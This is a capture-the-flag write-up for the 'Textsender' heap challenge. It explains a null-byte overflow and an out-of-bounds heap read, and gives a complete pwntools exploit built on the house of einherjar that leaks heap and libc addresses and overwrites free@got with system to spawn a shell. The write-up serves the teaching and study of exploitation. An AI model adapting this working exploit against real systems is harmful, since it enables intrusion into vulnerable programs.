# Textsender ## Vulnerabilities There is a one null byte overflow in the function `input` with this we can apply house of einherjar technique, you can find detail of the technique for libc 2.32 in [here](https://github.com/shellphish/how2heap/blob/master/glibc_2.32/house_of_einherjar.c). This technique also requires us to have a heap leak. Another vulnerability is in function `edit_message`, there is no boudary check in the below section of code which allows us to leak some value on the heap ![](https://hackmd.io/_uploads/rJ46D-RCh.png) ![](https://hackmd.io/_uploads/rkjJA1R02.png) ## Exploitation Here is the skeleton code ```python #!/usr/bin/env python3 from pwn import * e = ELF("./textsender_patched") libc = ELF("./libc-2.32.so") ld = ELF("./ld-2.32.so") context.binary = e gs = """ c """ if args.REMOTE: p = remote("chals.sekai.team", 1337) else: p = process([e.path]) if args.GDB: gdb.attach(p,gs) def set_sender(name): p.sendlineafter(b"> ", b"1") p.sendlineafter(b"name: ", name) def add_msg(dst, msg): p.sendlineafter(b"> ", b"2") p.sendlineafter(b"Receiver: ", dst) p.sendlineafter(b"Message: ", msg) def edit_msg(name, msg): p.sendlineafter(b"> ", b"3") p.sendlineafter(b"Name: ", name) p.sendlineafter(b"message: ", msg) def print_all(): p.sendlineafter(b"> ", b"4") def send_all(): p.sendlineafter(b"> ", b"5") def free_size(size): p.sendlineafter(b"> ", b"3") p.sendlineafter(b"Name: ", B"X"*size) ``` First, we will get the heap leak with the vulnerability in function `edit_message`, basically, we just brute-force to get the heap leak. ```python add_msg(b"AAAA", b"BBBB") add_msg(b"CCCC", b"DDDD") send_all() set_sender(b"testing") add_msg(b"E"*8, b"testingbu") prefix = b"E"*8 + p64(0)*14 + p64(0x201) count = 0 while count <= 3: found = False for i in range(1,256): if i == 0xa: continue name = prefix + p8(i) p.sendlineafter(b"> ", b"3") p.sendlineafter(b"Name: ", name) if b"[-]" in p.recvline(): continue else: found = True prefix += p8(i) count += 1 p.sendline(f"sucess_{count}".encode()) if not found: break heap_leak = u64(prefix[128:].ljust(8, b"\x00")) heap_base = heap_leak << 12 print("heap leak: " + str(hex(heap_leak))) ``` View the heap then you know why the `prefix = b"E"*8 + p64(0)*14 + p64(0x201)` ![](https://hackmd.io/_uploads/ByerNgR0n.png) Next, I am going to apply the house of einherjar technique, but I will forge the heap layout to make it easier to exploit with these lines of code ```python send_all() set_sender(b"testing") add_msg(b"E"*8, b"testingbu") send_all() add_msg(b"AAAA", b"BBBB") add_msg(b"CCCC", b"DDDD") send_all() ``` Now is the house of einherjar ```pyhon for i in range(6): add_msg(b"chunk_0", b"chunk_0") addr = heap_base + 7216 fake_chunk = b"A"*464 + p64(0) + p64(0xc0) + p64(addr)*2 add_msg(b"chunk_1", fake_chunk) add_msg(p64(0)*14 + p64(0xc0), b"DDDD2") set_sender(b"padding") send_all() ``` This is the state of the heap before the `send_all()` ![](https://hackmd.io/_uploads/rJBjUgCCh.png) After `send_all()`, we can observe that chunks are overlapped ![](https://hackmd.io/_uploads/HyBHDlCR3.png) Now is the remaining part of the technique, leak libc then overwrite `free@got` with `system` ```python for i in range(7): add_msg(b"chunk_0", b"chunk_0") target = p64(0)*3 + p64(0x21) + p64(heap_base+7296) + p64(e.got["free"]) add_msg(b"/bin/sh", target) print_all() p.recvuntil(b"/bin/sh: ") libc_leak = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.symbols["free"] set_sender(b"/bin/sh") edit_msg(b"/bin/sh", p64(libc_leak + libc.symbols["system"])) p.interactive() ``` Ful script ```python #!/usr/bin/env python3 from pwn import * e = ELF("./textsender_patched") libc = ELF("./libc-2.32.so") ld = ELF("./ld-2.32.so") context.binary = e gs = """ c """ if args.REMOTE: p = remote("chals.sekai.team", 1337) else: p = process([e.path]) if args.GDB: gdb.attach(p,gs) def set_sender(name): p.sendlineafter(b"> ", b"1") p.sendlineafter(b"name: ", name) def add_msg(dst, msg): p.sendlineafter(b"> ", b"2") p.sendlineafter(b"Receiver: ", dst) p.sendlineafter(b"Message: ", msg) def edit_msg(name, msg): p.sendlineafter(b"> ", b"3") p.sendlineafter(b"Name: ", name) p.sendlineafter(b"message: ", msg) def print_all(): p.sendlineafter(b"> ", b"4") def send_all(): p.sendlineafter(b"> ", b"5") def free_size(size): p.sendlineafter(b"> ", b"3") p.sendlineafter(b"Name: ", B"X"*size) add_msg(b"AAAA", b"BBBB") add_msg(b"CCCC", b"DDDD") send_all() set_sender(b"testing") add_msg(b"E"*8, b"testingbu") # input("wait") prefix = b"E"*8 + p64(0)*14 + p64(0x201) count = 0 while count <= 3: found = False for i in range(1,256): if i == 0xa: continue name = prefix + p8(i) p.sendlineafter(b"> ", b"3") p.sendlineafter(b"Name: ", name) if b"[-]" in p.recvline(): continue else: found = True prefix += p8(i) count += 1 p.sendline(f"sucess_{count}".encode()) if not found: break heap_leak = u64(prefix[128:].ljust(8, b"\x00")) heap_base = heap_leak << 12 print("heap leak: " + str(hex(heap_leak))) send_all() set_sender(b"testing") add_msg(b"E"*8, b"testingbu") send_all() add_msg(b"AAAA", b"BBBB") add_msg(b"CCCC", b"DDDD") send_all() # input("wait") for i in range(6): add_msg(b"chunk_0", b"chunk_0") addr = heap_base + 7216 fake_chunk = b"A"*464 + p64(0) + p64(0xc0) + p64(addr)*2 add_msg(b"chunk_1", fake_chunk) add_msg(p64(0)*14 + p64(0xc0), b"DDDD2") set_sender(b"padding") send_all() for i in range(7): add_msg(b"chunk_0", b"chunk_0") target = p64(0)*3 + p64(0x21) + p64(heap_base+7296) + p64(e.got["free"]) add_msg(b"/bin/sh", target) print_all() p.recvuntil(b"/bin/sh: ") libc_leak = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.symbols["free"] set_sender(b"/bin/sh") edit_msg(b"/bin/sh", p64(libc_leak + libc.symbols["system"])) p.interactive() ```